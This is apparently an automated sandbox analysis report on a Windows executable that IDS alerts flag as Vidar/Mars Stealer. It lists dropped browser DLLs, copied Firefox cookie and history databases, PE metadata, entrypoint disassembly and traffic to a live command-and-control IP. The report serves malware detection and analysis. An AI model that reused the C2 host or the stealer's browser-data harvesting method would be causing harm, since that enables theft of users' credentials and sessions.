File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334288
Entropy (8bit):	6.807000203861606
Encrypted:	false
SSDEEP:	6144:C8YBC2NpfYjGg7t5xb7WOBOLFwh8yGHrIrvqqDL6XPowD:CbG7F35BVh8yIZqn65D
MD5:	EF2834AC4EE7D6724F255BEAF527E635
SHA1:	5BE8C1E73A21B49F353C2ECFA4108E43A883CB7B
SHA-256:	A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA
SHA-512:	C6EA0E4347CBD7EF5E80AE8C0AFDCA20EA23AC2BDD963361DFAF562A9AED58DCBC43F89DD826692A064D76C3F4B3E92361AF7B79A6D16A75D9951591AE3544D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 4bVsmYiuXy.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.25423.22998.exe, Detection: malicious, Browse Filename: PmX1jHdUnS.exe, Detection: malicious, Browse Filename: INV_34897003.pif.exe, Detection: malicious, Browse Filename: cBMUYyAn60.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L....b.[.........."!.........f......)........................................p.......s....@.........................p...P............@..x....................P......0...T...............................@...............8............................text...t........................... ..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.78390291752429
Encrypted:	false
SSDEEP:	3072:7Gyzk/x2Wp53pUzPoNpj/kVghp1qt/dXDyp4D2JJJvPhrSeTuk:6yQ2Wp53iO/kVghp12/dXDyyD2JJJvPR
MD5:	8F73C08A9660691143661BF7332C3C27
SHA1:	37FA65DD737C50FDA710FDBDE89E51374D0C204A
SHA-256:	3FE6B1C54B8CF28F571E0C5D6636B4069A8AB00B4F11DD842CFEC00691D0C9CD
SHA-512:	0042ECF9B3571BB5EBA2DE893E8B2371DF18F7C5A589F52EE66E4BFBAA15A5B8B7CC6A155792AAA8988528C27196896D5E82E1751C998BACEA0D92395F66AD89
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L...._.[.........."!.....z...................................................@.......3....@A........................@...t.......,.... ..x....................0..h.......T...................T.......h...@...................l........................text....x.......z.................. ..`.rdata..^e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..h....0......................@..B........................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1246160
Entropy (8bit):	6.765536416094505
Encrypted:	false
SSDEEP:	24576:Sb5zzlswYNYLVJAwfpeYQ1Dw/fEE8DhSJVIVfRyAkgO6S/V/jbHpls4MSRSMxkoo:4zW5ygDwnEZIYkjgWjblMSRSMqH
MD5:	BFAC4E3C5908856BA17D41EDCD455A51
SHA1:	8EEC7E888767AA9E4CCA8FF246EB2AACB9170428
SHA-256:	E2935B5B28550D47DC971F456D6961F20D1633B4892998750140E0EAA9AE9D78
SHA-512:	2565BAB776C4D732FFB1F9B415992A4C65B81BCD644A9A1DF1333A269E322925FC1DF4F76913463296EFD7C88EF194C3056DE2F1CA1357D7B5FE5FF0DA877A66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.4.g.Z.g.Z.g.Z.n...s.Z..[.e.Z..B..c.Z..Y.j.Z.._.m.Z..^.l.Z.E.[.o.Z..[.d.Z.g.[..Z..^.m.Z..Z.f.Z....f.Z..X.f.Z.Richg.Z.................PE..L....b.[.........."!................w........................................@............@..................................=..T.......p........................}..p...T..............................@............................................text............................... ..`.rdata...R.......T..................@..@.data...tG...`..."...B..............@....rsrc...p............d..............@..@.reloc...}.......~...h..............@..B........................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.539750563864442
Encrypted:	false
SSDEEP:	3072:UAf6suip+d7FEk/oJz69sFaXeu9CoT2nIVFetBWsqeFwdMIo:p6PbsF4CoT2OeU4SMB
MD5:	A2EE53DE9167BF0D6C019303B7CA84E5
SHA1:	2A3C737FA1157E8483815E98B666408A18C0DB42
SHA-256:	43536ADEF2DDCC811C28D35FA6CE3031029A2424AD393989DB36169FF2995083
SHA-512:	45B56432244F86321FA88FBCCA6A0D2A2F7F4E0648C1D7D7B1866ADC9DAA5EDDD9F6BB73662149F279C9AB60930DAD1113C8337CB5E6EC9EED5048322F65F7D8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L....b.[.........."!.........b...............................................P............@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\0R1N7QQI

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\26XT0RQ1

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\68QI5XT0

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\7YC2NG4E

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\GVA1VKFU

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\KFCJW4E3

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\VKNYUK68

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.285566025382776
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	DZ1x3hqhbe.exe
File size:	163'328 bytes
MD5:	a3e2fbe15176a56ac45f26368b80b3fc
SHA1:	a0431e50317a2c6c94aade1a10be6f20f62ad436
SHA256:	61b5c2f0dd54539e5baea9155aaca72c8fd6f12279083511d4d3eccd9e360f9b
SHA512:	26f7e48275c7565405ca94a15b0414acfbc824979627ed9b48d3dfc5360e8c0cd93227f00df9ed54435ab79a84b0771a0323a6e37448ff15481ed84b92a2f3ac
SSDEEP:	3072:UemE6vyiPCkN0sVKOUP+qU16bQGTt/OgmyNFrnPKDNJSp8Bb8EG:UrSUm+TNG5/Og9frnW8EG
TLSH:	0EF3E17AF2328BBEEFF050394E77B3778D2D7B071909C71A549497C005239AA0B7265A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................M.......................\|.......N.....Rich....................PE..L...B;8b...................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x43c0b2
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x62383B42 [Mon Mar 21 08:45:54 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	4e06c011d59529bff8e1f1c88254b928

Entrypoint Preview

Instruction
push ebp
sub ebp, 01h
jne 00007FDC40E98E5Dh
pop ebp
mov eax, dword ptr fs:[00000030h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+14h]
mov edi, dword ptr [eax+10h]
call 00007FDC40E98E65h
pop esi
lea edx, dword ptr [edi+00001000h]
lea ecx, dword ptr [edx+0001C800h]
lea ebx, dword ptr [esi+00000273h]
lea ebp, dword ptr [ebx+20h]
push edx
push ecx
push ebx
push ebp
call 00007FDC40E98D79h
add esp, 10h
lea eax, dword ptr [edi+00008430h]
jmp eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x26508	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x39000	0x23e4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1e000	0x10	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1d000	0x1c800	False	0.7156318530701754	data	7.297564352277614	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x1e000	0x9000	0x8600	False	0.675897854477612	data	6.0428202984727335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x27000	0x12000	0x200	False	0.091796875	data	0.6582824138522845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x39000	0x251e	0x2600	False	0.7749794407894737	data	6.693331597993307	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
	0x3c000	0x360	0x400	False	0.302734375	data	3.9268025129413786	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
msvcrt.dll	_mbsstr, memset, _mbsnbcpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.187.112.99192.168.2.480497292036654 12/29/23-12:06:52.089704	TCP	2036654	ET TROJAN Win32/Vidar Variant/Mars Stealer Resources Download	80	49729	192.187.112.99	192.168.2.4
192.168.2.4192.187.112.9949729802022818 12/29/23-12:06:51.530868	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49729	80	192.168.2.4	192.187.112.99

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2023 12:06:51.399501085 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:51.530535936 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:51.530623913 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:51.530868053 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:51.661715984 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:51.670072079 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:51.670269966 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:51.956770897 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.089704037 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.089768887 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.089822054 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.089837074 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.089848995 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.089875937 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.089891911 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.089962006 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.089975119 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.089986086 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.090003014 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.090012074 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.090017080 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.090024948 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.090029955 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.090054035 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.090078115 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221062899 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221175909 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221201897 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221215963 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221246004 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221257925 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221347094 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221364021 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221374989 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221386909 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221386909 CET	49729	80	192.168.2.4	192.187.112.99
